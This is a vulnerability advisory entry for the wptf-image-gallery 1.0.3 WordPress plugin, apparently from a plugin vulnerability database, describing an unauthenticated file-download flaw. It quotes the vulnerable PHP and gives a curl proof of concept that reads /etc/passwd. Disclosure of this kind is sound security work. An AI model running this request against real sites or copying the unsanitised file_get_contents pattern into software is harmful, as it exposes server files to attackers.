wptf-image-gallery 1.0.3 - Remote File Download



Description
Plugin is still affected and has been closed.

The ./wptf-image-gallery/lib-mbox/ajax_load.php code doesn't sanitize user input or check that a user is authorized to download files.  This allows an unauthenticated user to download sensitive system files: 


  1 <?php
  2 error_reporting(0);
  3 $homepage = file_get_contents($_GET['url']);
  4 $homepage = str_replace("script", "mboxdisablescript", $homepage);
  5 $homepage = str_replace("SCRIPT", "mboxdisablescript", $homepage);
  6 echo $homepage;
  7 ?>
Proof of Concept
$ curl http://www.example.com/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd

Affects Plugin

References

CVE 2015-1000007
EXPLOITDB 37751
URL https://vapid.dhs.org/advisory.php?v=148

Classification

Type LFI
OWASP Top 10 A1: Injection
CWE CWE-22

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Twitter _larry0
Views 6122
Verified No
WPVDB ID 8106

Timeline

Publicly Published 2015-07-18 (over 4 years ago)
Added 2015-07-20 (over 4 years ago)
Last Updated 2019-11-28 (about 2 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin